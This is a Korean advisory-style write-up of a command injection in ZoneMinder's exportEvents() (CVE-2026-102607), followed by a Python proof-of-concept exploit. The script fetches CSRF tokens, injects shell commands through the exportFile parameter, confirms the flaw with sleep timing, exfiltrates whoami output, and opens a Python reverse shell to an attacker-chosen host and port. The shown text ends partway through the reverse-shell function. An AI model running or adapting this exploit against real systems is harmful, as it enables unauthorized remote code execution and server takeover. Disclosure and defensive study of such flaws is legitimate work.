Python PoC로, ZoneMinder <= 1.38.1의 exportEvents()에서 발생하는 인증된 OS 명령어 주입 취약점인 CVE-2026-102607을 악용하여 RCE, 명령어 출력 유출, 리버스 셸을 가능하게 합니다.
인증된 OS 명령어 주입 취약점이 ZoneMinder의 이벤트 내보내기 기능에 존재합니다. exportFile HTTP 요청 파라미터가 PHP의 exec()를 통해 실행되는 셸 명령어에 정제 없이 전달되어, View Events 권한을 가진 모든 인증된 사용자가 서버에서 임의의 운영체제 명령어를 실행할 수 있습니다.
이 취약점은 웹 서버 사용자(www-data) 권한으로 완전한 원격 코드 실행(RCE)을 초래합니다.
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hweb/ajax/event.php, 103번째 줄web/skins/classic/includes/export_functions.php의 exportEvents(), 1030–1032번째 줄exportEvents() 함수는 $_REQUEST['exportFile']에서 직접 가져온 $export_root 파라미터를 받습니다 (ajax/event.php, 103번째 줄을 통해). 이 파라미터는 tar 및 zip 명령어에 추가되는 디렉터리 경로를 구성하는 데 사용됩니다.
1020번째 줄의 아카이브 파일 경로($archive_path)는 escapeshellarg()를 사용하여 적절히 이스케이프되지만, 1030번째 줄의 후행 디렉터리 인수는 어떠한 정제 없이 명령어 문자열에 직접 연결됩니다:
// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);
// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';
// Line 1032 — executed
exec($command, $output, $status);
공격자는 exportFile 파라미터에 셸 메타문자(;, |, && 등)를 주입하여 의도된 tar/zip 명령어를 벗어나 임의의 명령어를 실행할 수 있습니다. PHP가 추가하는 후행 /는 # (셸 주석 문자)을 사용하여 무력화할 수 있습니다.
HTTP Request: $_REQUEST['exportFile']
│
▼
ajax/event.php (line 103)
└── exportEvents(..., $_REQUEST['exportFile'])
│
▼
export_functions.php (line 890)
└── $export_root = $_REQUEST['exportFile'] // No sanitization
│
▼
export_functions.php (line 1030)
└── $command .= ' ' . $export_root . '/' // Direct concatenation
│
▼
export_functions.php (line 1032)
└── exec($command) // OS Command Execution
View Events 또는 View Snapshots 권한을 가진 모든 인증된 사용자.__csrf_magic 토큰이 포함되어야 합니다 (모든 ZoneMinder 페이지에서 가져올 수 있음).exportDetail=1: 존재하지 않는 이벤트 ID를 사용할 때 exportEventImagesMaster()에서 PHP 치명적 오류를 방지하기 위해 이 파라미터가 요청에 포함되어야 합니다.#!/usr/bin/env python3
"""
=====================================================================
Affected Version : ZoneMinder <= 1.38.1
Tested On : ZoneMinder 1.38.1 (Docker)
Vulnerability : OS Command Injection in exportEvents()
CVSS Score : 9.9 (Critical)
Attack Vector : Network (Authenticated)
File : web/skins/classic/includes/export_functions.php
Sink : exec() at line 1032
Description:
The exportEvents() function in ZoneMinder constructs shell commands
for `tar` and `zip` archival using unsanitized user input from the
`exportFile` HTTP request parameter. This parameter is used as the
`$export_root` variable, which is directly concatenated into the
command string passed to exec() without escapeshellarg() or any
equivalent sanitization.
An authenticated attacker with "View Events" permission can inject
arbitrary OS commands by appending shell metacharacters (;) to the
`exportFile` parameter, achieving Remote Code Execution as the
web server user (www-data).
Usage:
1. Start a listener on your attack machine:
$ nc -lvnp <LPORT>
2. Run this exploit:
$ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>
3. The exploit supports three modes:
--mode check : Verify the vulnerability (sleep-based timing)
--mode whoami : Extract the output of `whoami`
--mode revshell: Spawn a reverse shell to LHOST:LPORT
Author : d4kw1n
Date : 2026-03-10
"""
import argparse
import re
import sys
import time
import urllib.parse
try:
import requests
except ImportError:
print("[-] 'requests' library required. Install with: pip install requests")
sys.exit(1)
BANNER = r"""
ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""
class ZMExploit:
def __init__(self, target, lhost=None, lport=None, session_cookie=None):
self.target = target.rstrip("/")
self.lhost = lhost
self.lport = lport
self.session = requests.Session()
self.session.verify = False
if session_cookie:
self.session.cookies.set("ZMSESSID", session_cookie)
def get_csrf_token(self):
"""Fetch a valid CSRF token from the target."""
res = self.session.get(f"{self.target}/index.php", timeout=10)
match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
if not match:
print("[-] Failed to extract CSRF token. Is the target reachable?")
return None
return match.group(1)
def send_payload(self, payload):
"""Send the injection payload via the export action."""
csrf = self.get_csrf_token()
if not csrf:
return None
data = {
"view": "request",
"request": "event",
"action": "export",
"exportFormat": "tar",
"exportDetail": "1",
"eids[]": "1",
"exportFile": payload,
"__csrf_magic": csrf,
}
try:
return self.session.post(
f"{self.target}/index.php", data=data, timeout=30
)
except requests.exceptions.ReadTimeout:
return None
def read_output(self, filename):
"""Read exfiltrated command output via archive.php."""
res = self.session.get(
f"{self.target}/index.php?view=archive&type=tar&file={filename}",
timeout=10,
)
return res.text.strip()
# ── Mode: check ──────────────────────────────────────────────
def check(self):
"""Verify the vulnerability using a timing-based approach."""
delay = 5
print(f"[*] Sending sleep {delay} payload for timing verification...")
payload = f"a; sleep {delay}; #"
start = time.time()
self.send_payload(payload)
elapsed = time.time() - start
print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
if elapsed >= delay:
print("[+] VULNERABLE - Command injection confirmed!")
return True
else:
print("[-] NOT VULNERABLE or target unreachable.")
return False
# ── Mode: whoami ─────────────────────────────────────────────
def whoami(self):
"""Extract the web server user via command output exfiltration."""
outfile = "whoami.tar"
print(f"[*] Injecting: whoami > {outfile}")
self.send_payload(f"a; whoami > {outfile}; #")
result = self.read_output(outfile)
if result:
print(f"[+] Server running as: {result}")
else:
print("[-] Could not retrieve output.")
return result
# ── Mode: revshell ───────────────────────────────────────────
def revshell(self):
"""Spawn a reverse shell using python3 on the target."""
if not self.lhost or not self.lport:
print("[-] --lhost and --lport are required for reverse shell mode.")
return False
print(f"[*] Sending reverse shell payload -> {self.lhost}:{self.lport}")
print("[*] Make sure your listener is running: nc -lvnp {self.lport}")
py_revshell = (
f'export RHOST="{self.lhost}";export RPORT={self.lport};'
f"python3 -c 'import sys,socket,os,pty;"
f"s=socket.socket();"
f's.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));'
f"[os.dup2(s.fileno(),fd) for fd in (0,1,2)];"
f"pty.spawn(\"sh\")'"
)
payload = f"a; {py_revshell}; #"
self.send_payload(payload)